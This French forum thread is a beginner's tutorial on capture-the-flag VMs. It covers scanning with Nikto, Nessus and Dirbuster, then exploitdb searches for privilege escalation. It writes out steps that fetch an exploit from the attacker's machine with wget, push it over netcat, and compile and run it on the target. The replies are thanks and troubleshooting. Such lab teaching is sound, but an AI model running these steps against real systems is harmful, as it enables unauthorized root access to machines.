• STATISTIQUES
  • Il y a eu un total de 2 membres et 14567 visiteurs sur le site dans les dernières 24h pour un total de 14 569 personnes!


    Membres: 2 433
    Discussions: 3 585
    Messages: 32 832
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [FR] Comment ca marche
     Gratuit et accessible à tous, ce site de communauté permet de se dépanner, se faire aider ...
    Webmaster
    [FR] Cyber-Hacker
    CH - Cyber Hacker est un jeu par navigateur de simulation de hack, programmez et envoyez vos virus et piratez les aut...
    Hacking
    [FR] apprendre-a-manipuler
    Site d'apprentissage de la manipulation d'autrui.
    Hacking
    [EN] Hack this site
    Basic: 11, Realistic: 17, Application: 18, Programming: 12, Extbasic: 14, Javascript: 7, Stego: 17
    Challenges
    [FR] Zmaster
    Articles sur l'informatique, le hacking, le P2P, les divx, les astuces windows XP, les GSM, Emule, la cryptograph...
    Hacking
    [FR] dcode
    dcode.fr est le site indispensable pour décoder des messages, tricher aux jeux de lettres, résoudre des énigmes...
    Outils / Add-on
    [EN] Net Force
    Javascript: 9, Java Applets: 6, Cryptography: 16, Exploits: 7, Cracking: 14, Programming: 13, Internet: 15, Steganograph...
    Challenges

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 5 (1 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
[HOW TO] Débuter un CTF
06-02-2013, 17h55 (Modification du message : 03-07-2013, 12h16 par kaizo.)
Message : #1
kaizo Hors ligne
Membre
*



Messages : 45
Sujets : 6
Points: 22
Inscription : Sep 2012
[HOW TO] Débuter un CTF
Introduction :

Je vais vous parler ici des CTF (Capture The Flag), le principe est simple vous devez pénétrer une machine, et devenir Root pour en prendre le contrôle (plus facile à dire qu'à faire). Pour valider un CTF il y a un général un fichier passwd visible uniquement par root qu'on appelle le Flag, si vous pouvez affichez son contenu c'est gagné !
Les CTF sont très intéressants à faire, car les failles ne sont pas simulées, plusieurs méthodes fonctionnent pour arriver à ses fins.
Un CTF se présente sous la forme d'une iso que vous devez faire tourner dans une machine virtuelle, représentant un serveur avec des services qui tournent dessus.
Je vais vous indiquer la marche à suivre de manière générale, chaque CTF étant différent, plusieurs sont méthodes possibles, il n'y a pas de méthode universelle, chacun est libre de faire comme il veut !


Partie 1 : Récupération d'informations

La première chose à faire est d’analyser le serveur, pour déterminer quels ports sont ouverts, quels services tournent, quel est l'OS, rassembler le maximum d'informations,
Pour cela, plusieurs programmes peuvent vous aider Nmap , Nessus, Nikto, Dirbuster, etc.

1) Nikto :
Nikto est un scanner de vulnérabilités qui vous permettra comme son nom l'indique de trouver des vulnérabilités, que ce soit des modules obsolètes, quelques dossiers cachés ou informations sensibles. L'utilisation est assez simple, on se place dans le dossier de Nikto :
(sous Backtrack)

Code :
cd/pentest/web/nikto/

ensuite on le lance via la commande nikto.pl avec comme argument l'URL de la cible (ou host) -h , ce qui nous donne :

Code :
./nikto.pl -h "http://cible.com"

Comme tout programme GNU/Linux, n'hésitez pas à mettre en argument –help pour avoir la totalité des commandes disponibles

2) Nessus :
C'est également un scanner de vulnérabilité comme Nikto, mais qui vous renverra beaucoup plus d'informations, l'utilisation en GUI étant assez simple et intuitive je vous renvoie ici  pour l’installation et la configuration.

Une fois installé et le service démarré, rendez-vous sur

Code :
https://votreip:8834

Loger vous avec vos credentials, vous verrez plusieurs onglets devant vous, les plus intéressants pour nous étant "REPORTS" et "SCANS".
Tout d'abord, allez dans "SCANS", cliquez sur "ADD"
Choisissez un nom, dans la case "POLICIES" choisissez ce qui vous convient :
- "INTERNAL NETWORK SCAN" : Pour un scan sur une cible qui est sur notre réseau

- "EXTERNAL NETWORK SCAN" : Pour une cible extérieure à notre réseau (internet)

Entrez l'adresse de la cible dans "SCAN TARGETS", puis cliquez sur "LAUNCH SCAN" en bas à droite de l'écran.

Une fois le scan terminé, vous trouverez le résultat dans la partie "REPORTS", sélectionnez un scan et cliquez sur "BROWSE" pour voir le contenu du scan, c’est classé par ports, avec un indice de dangerosité pour chacune des failles trouvées :

rouge : failles dangereuses
jaune : failles potentiellement dangereuses
bleu : failles peu dangereuses

3)Dirbuster :
Dirbuster est un programme qui brute force le serveur pour trouver les dossiers et fichiers qui s'y trouvent, on peut le lancer en brute force pure, ou mode dictionnaire.
Pour le lancer, on se place dans le dossier d'installation
(sous backtrack)

Code :
cd /pentest/web/dirbuster/

et on le lance avec cette commande (la version peut dépendre, à vous de vous adapter) :

Code :
java -jar Dirbuster-0.12.jar

Une fois lancée :
- on rentre l'adresse de la cible dans la case "TARGET URL"
- on peut faire varier le nombre de thread, on l'augmente si on souhaite aller plus vite, ou au contraire on le diminue si on ne souhaite pas surcharger le serveur.
- on coche "list based brute force", puis on clique sur "browse" pour sélectionner un dictionnaire. prenez le "2-3-small"
- on lance le tout avec "start" , laisser le tourner 2 mn, après arrêter le brute force et analyser les fichiers et dossiers trouvés.

Croisez toutes les informations recueillies , regardez bien, vérifiez la vulnérabilité des modules et passez à l'étape suivante ;-)


Partie 2 : Recherche et exploitation de failles

Une fois les infos récupérées, connecter vous aux différents services ouvert, si Apache tourne, il y a de fortes chances qu'il y ai un site web avec peut être des modules vulnérables, des pages de login, etc.
Utilisez dirbuster pour trouver des dossiers cachés (ou devinez), procédez comme n'importe quels challenges pour tenter de bypasser les pages de login, de récupérer des credentials, accédez à la base Sql, etc.
Garder à l'esprit que votre but est de spawner un shell sur le serveur ou de récupérer des accès ssh, n'importe lesquels.
Regarder le nom des modules utilisés, les services qui tournent et leur version, et vérifier sur exploit.db.com si une exploit peut correspondre à vos attentes.


Partie 3 : L'élévation de privilèges

Une fois que vous avez réussi à vous connecter via un shell, fouillez partout, dans les dossiers home des utilisateurs, dans les poubelles, les .bash_history, les mails, le crontab, etc.
Cherchez à nouveau quelque chose à exploiter pour élever vos privilèges, vérifiez une fois plus sur exploit-db si le noyau n'est pas vulnérable.
Les deux exploits les plus connues pour élever ses privilèges sont l'exploit vmsplice et l'exploit Udev, mais il en existe bien d'autres !

Pour connaître la version du noyau, tapez :

Code :
uname -r

vous obtiendrez le numéro de la version, par ex :

Code :
3.2.0-4-amd64

Pour plus d'information vous pouvez également tapez

Code :
uname -a

cela vous donnera quelques choses du genre

Code :
Linux TUX 3.2.0-4-amd64 #1 SMP Debian 3.2.46-1 x86_64 GNU/Linux

Connaître la version du noyau vous permet de vérifier s'il est vulnérable, vous pouvez allez vérifier sur exploitdb.com directement, personnellement je préfère le faire en ligne de commande c'est plus rapide !

Placez vous dans le répertoire exploitDB de votre Backtrack

Code :
cd /pentest/exploits/exploitdb

ensuite on va afficher le fichier file.csv et rechercher les correspondances avec notre noyau et ce que l'on cherche, à avoir une élévation de privilège ou Privilege Escalation en anglais (attention à la casse). Dans cet exemple je vais prendre le noyau 2.6 car il y aura plus de résultat étant donné que c'est une ancienne version.

Code :
cat file.csv | grep "linux,local" | grep  "Privilege Escalation" | grep 2.6

une liste d'exploits va s’afficher, à vous de trouver celle qui peut correspondre à vos besoins, vous aurez surement besoin d'en tester plusieurs, on tombe rarement sur la bonne du 1er coup !

Dans cette liste vous avez le chemin d’accès à l'exploit, elles peuvent être en C ou en python ou dans autre langage, nous allons voir ici un exemple avec une exploit en C.

Commencez par copier l'exploit dans votre répertoire web /var/www

Code :
cp platforms/linux/local/votre_exploit.c /var/www/

Si Apache n'est pas démarré, tapez :

Code :
/etc/init.d/apache2 start

Ensuite depuis la machine cible où vous avez votre shell, placez vous dans le répertoire /tmp car c'est le seul qui est en écriture pour tout le monde :

Code :
cd /tmp

on rapatrie notre exploit :

Code :
wget adresse_de_votre_machine/votre_exploit.c

Puis on compile celle-ci :

Code :
gcc votre_exploit.c -o exploit

on lui attribue les droits d’exécution si elles ne les a pas

Code :
chmod +x exploit

et on lance notre exploit avec :

Code :
./exploit

Sur certain système il peut arriver que wget ne fonctionne pas car bridé ou bloqué par des règles parfeu, dans ce cas la vous pouvez utiliser Netcat pour transférer votre exploit.

Commencez par vérifiez si Netcat est présent sur la machine, ainsi que son emplacement avec un :

Code :
whereis netcat

Vous obtiendrez sa location du type

Code :
/bin/netcat
ou
Code :
/usr/local/bin/nc

une fois trouvé, on va le mettre en écoute sur la machine cible, placez vous dans /tmp , puis tapez :

Code :
/bin/netcat -l -p 12345 >  votre_exploit.c

Cette commande met Netcat en écoute (option -l comme « listen ») sur le port 12345 (option -p) et met le résultat de son écoute dans le fichier votre_exploit.c (grâce au symbole >)

Placez vous maintenant sur votre machine et tapez :

Code :
nc adresse_de_la_cible 12345 < votre_exploit.c

Cette commande demande à Netcat (nc) de se connecter à l'adresse indiquée sur le port 12345 et d'y envoyer le contenu de votre exploit.c.
Attendez quelques secondes le temps que le transfert s'effectue, fermez Netcat en tapant :

Code :
« ctrl » + c

Fermez Netcat sur votre machine puis sur la machine cible, et si tout s'est bien passé, votre fichier s'est transféré avec succès !
Une fois devenu root, visualisez le flag et c'est gagné !



Conclusion :

Vous devriez être en mesure maintenant de mieux appréhendez un CTF, et comme la théorie c'est bien beau, mais rien ne vaut la pratique, allez faire un tour ici, vous y trouverez pas mal de CTF intéressants pour débuter, certain d’entre eux sont présent sur root-me.org également, à la différence que sur root-me, ils patchent certaines vulnérabilités pour ne laisser que les plus difficiles, et que chez vous en local vous pouvez prendre tout votre temps :-)
Je vous recommande Backtrack que vous trouverez dans la section téléchargement du site, qui regroupe tous les outils nécessaires si vous ne voulez pas les installez un à un sur votre ditrib, Metasploit (présent sur BT) qui peut vous être utile pour des exploit ou spawner un shell crypter, sqlmap et Burpsuite vous seront également très utile.

Allez au boulot et enjoy !
"Qui mange une noix de coco, fait confiance à son anus!"

+1 (14) -1 (0) Répondre
06-02-2013, 22h03
Message : #2
oosfalte Hors ligne
Flying Cloud
*



Messages : 47
Sujets : 3
Points: 8
Inscription : Jan 2013
RE: [HOW TO] Débuter un CTF
Merci kaizo.
Très intéressant, les CTF ça me tente vraiment et j'attends d'avoir un bon niveau pour m'attaquer à ce genre de challenge.En attendant je vais pouvoir me faire la main grâce à l'iso Wink

Au passage dans un genre un peu différent il y a:
http://exploit-exercises.com/ avec +seurs .iso selon la difficulté.Plus orienté race condition, bof, privilege escalation.
Je viens de voir qu'il y a maintenant également un CTF.
+1 (1) -1 (0) Répondre
08-02-2013, 18h06
Message : #3
Wabouz Hors ligne
Membre actif
*



Messages : 96
Sujets : 8
Points: 16
Inscription : Nov 2012
RE: [HOW TO] Débuter un CTF
J'ai beaucoup aimé, mais est-ce que tu pourrais approfondir un peu plus? Perso, ça m'intéresse mais backtrack, c'est galère à utiliser... Confused
C'est l'histoire d'un mec qui rentre dans un canard... ( °3°)♫
+1 (0) -1 (0) Répondre
08-02-2013, 18h37
Message : #4
kaizo Hors ligne
Membre
*



Messages : 45
Sujets : 6
Points: 22
Inscription : Sep 2012
RE: [HOW TO] Débuter un CTF
Merci de vos retours
Je compte l’approfondir quand j'aurais un peu de temps, l'utilisation de backtrack n'est pas obligatoire, mais pratique car elle regroupe tout un tas d'outils, si tu es sous GNU/linux libre à toi d'installer les logiciels cités, si tu est sous windows, installe backtrack sous une machine virtuelle.
Backtrack n'est rien de plus qu'une distribution Linux orienté sécurité disposant d'origine des outils, si tu as du mal a utiliser Backtrack ou ses outils, tu risques d'avoir du mal dans les CTF, google est ton ami, va voir ici pour Backtrack. Si tu as un soucis n'hésites pas à demander, mais je te préviens que je vais pas faire un tuto sur chaque outils présent dans Backtrack, il y en a trop :p
"Qui mange une noix de coco, fait confiance à son anus!"

+1 (0) -1 (0) Répondre
08-02-2013, 21h52
Message : #5
Wabouz Hors ligne
Membre actif
*



Messages : 96
Sujets : 8
Points: 16
Inscription : Nov 2012
RE: [HOW TO] Débuter un CTF
Merci des conseils ;P
Je regarde un peu partout etc mais j'ai l'impression que ma machine virtuelle est pas très bien paramétrée, 1er problème ;P.
Par contre, si tu as un site, je veux bien, parce que à part le wiki de backtrack qui m'a laissé un peu perplexe, j'ai rien trouvé de très concluant...
C'est l'histoire d'un mec qui rentre dans un canard... ( °3°)♫
+1 (0) -1 (0) Répondre
11-02-2013, 17h03 (Modification du message : 15-02-2013, 22h47 par Di0Sasm.)
Message : #6
kaizo Hors ligne
Membre
*



Messages : 45
Sujets : 6
Points: 22
Inscription : Sep 2012
RE: [HOW TO] Débuter un CTF
Mets l' adaptateur de ta machine virtuelle en "pont" ou 'bridge", pour ce qui est des sites et tutos, ne cherche pas un tuto pour backtrack mais plutôt un tuto pour l’outil que tu veux utiliser,
ex :
tuto nessus

Tu trouveras beaucoup plus de ressources comme ça, sinon va faire un tour ici, tu trouveras pas mal de tuto sur un peu de tout Shy
"Qui mange une noix de coco, fait confiance à son anus!"

+1 (0) -1 (0) Répondre
11-02-2013, 17h48
Message : #7
Shirobi Hors ligne
Bannis



Messages : 207
Sujets : 19
Points: 17
Inscription : Oct 2012
RE: [HOW TO] Débuter un CTF
Salut, j'ai voulu tester le level 1 de kriotiix (Je sais plus le nom exacte)
Sur backtrack j'ai voulu faire un scan avec nmap comme ceci
nmap -sV 192.168.*.*

Ca charge normalement puis ca me renvoie une erreur O_o
Tu penses que ca pourrait venir de où?
Merci
+1 (0) -1 (0) Répondre
11-02-2013, 18h48
Message : #8
Wabouz Hors ligne
Membre actif
*



Messages : 96
Sujets : 8
Points: 16
Inscription : Nov 2012
RE: [HOW TO] Débuter un CTF
Merci kaizo Big Grin
C'est l'histoire d'un mec qui rentre dans un canard... ( °3°)♫
+1 (0) -1 (0) Répondre
11-02-2013, 19h39
Message : #9
kaizo Hors ligne
Membre
*



Messages : 45
Sujets : 6
Points: 22
Inscription : Sep 2012
RE: [HOW TO] Débuter un CTF
@shirobi :
Arrives tu à pinger correctement la machine ?
Peux tu scanner avec un autre soft (Nikto, Nessus) ?

Si le problème vient uniquement de Nmap, vérifie ta syntaxe, essaie avec Zenmap si tu es sous backtrak (GUI pour Zenmap)

Sinon, vérifie les paramètre de ta VM (cf post du dessus).
"Qui mange une noix de coco, fait confiance à son anus!"

+1 (0) -1 (0) Répondre
11-02-2013, 21h58
Message : #10
Shirobi Hors ligne
Bannis



Messages : 207
Sujets : 19
Points: 17
Inscription : Oct 2012
RE: [HOW TO] Débuter un CTF
(11-02-2013, 19h39)kaizo a écrit : @shirobi :
Arrives tu à pinger correctement la machine ?
Peux tu scanner avec un autre soft (Nikto, Nessus) ?

Si le problème vient uniquement de Nmap, vérifie ta syntaxe, essaie avec Zenmap si tu es sous backtrak (GUI pour Zenmap)

Sinon, vérifie les paramètre de ta VM (cf post du dessus).


ok merci :-)
+1 (0) -1 (0) Répondre
11-02-2013, 22h31
Message : #11
notfound Hors ligne
#!/usr/bin/env bash
*



Messages : 687
Sujets : 47
Points: 272
Inscription : Sep 2012
RE: [HOW TO] Débuter un CTF
(11-02-2013, 17h48)Shirobi a écrit : Salut, j'ai voulu tester le level 1 de kriotiix (Je sais plus le nom exacte)
Sur backtrack j'ai voulu faire un scan avec nmap comme ceci
nmap -sV 192.168.*.*

Ca charge normalement puis ca me renvoie une erreur O_o
Tu penses que ca pourrait venir de où?
Merci

Tu devrais nous donner le code d'erreur que ça te retourne, ça serait plus simple Wink
BTW, bon tutoriel Kaizo !

Et j'aimerai rajouter, Backtrack c'est bien, mais y'a aussi Backbox qui est un très bon OS. Il serait mieux d'après certains dires, car plus stable et regroupant des outils plus "utiles" pour le pentest (mais je ne peux confirmer/infirmer)
http://www.backbox.org/
+1 (0) -1 (0) Répondre
14-02-2013, 15h23
Message : #12
kaizo Hors ligne
Membre
*



Messages : 45
Sujets : 6
Points: 22
Inscription : Sep 2012
RE: [HOW TO] Débuter un CTF
mise à jour de la partie 1 avec mini tuto sur nessus, nikto et dirbuster
enjoy :-)
"Qui mange une noix de coco, fait confiance à son anus!"

+1 (1) -1 (0) Répondre
15-02-2013, 21h39
Message : #13
Swissky Absent
Bon membre
*



Messages : 523
Sujets : 32
Points: 96
Inscription : Apr 2012
RE: [HOW TO] Débuter un CTF
J'ai pas encore regardé cette video mais elle a l'air intéressante, peut être pourra t'elle t'aider à poursuivre ton tutoriel Wink
http://www.youtube.com/watch?v=zszI5Bxp_...8&index=12
Source: Epita Youtube
+1 (1) -1 (0) Répondre
29-04-2013, 17h31
Message : #14
Trivial Hors ligne
Membre actif
*



Messages : 223
Sujets : 10
Points: 29
Inscription : Aug 2011
RE: [HOW TO] Débuter un CTF
J'avais déjà entendu parler de Backbox, je vais l'installer sur une VM, histoire de voir la chose.

Sinon, très bon tutoriel ! Et hop, dans mes favoris Smile
Citation :manger informatique, dormir informatique, chier informatique sans jamais avoir l'impression que ça nous accable ou que c'est relou, c'est ça être passionné - j0rn
+1 (0) -1 (0) Répondre
02-07-2013, 17h50
Message : #15
kaizo Hors ligne
Membre
*



Messages : 45
Sujets : 6
Points: 22
Inscription : Sep 2012
RE: [HOW TO] Débuter un CTF
o/ tlm !
Ça fait un moment que j'ai pas posté, ni donné de nouvelles (boulot, boulot) du coup pour mon retour j'ai mis à jour la partie 3 concernant l'escalade de privilège, et si vous êtes sage et surtout si j'ai un peu de temps, je m'attaquerais à la partie 2 pour vous montrer comment spawner un shell !

enjoy !

ps: n'hesitez pas à me dire si vous voyez des coquilles, fautes ou incohérence
"Qui mange une noix de coco, fait confiance à son anus!"

+1 (0) -1 (0) Répondre


Atteindre :


Utilisateur(s) parcourant ce sujet : 10 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut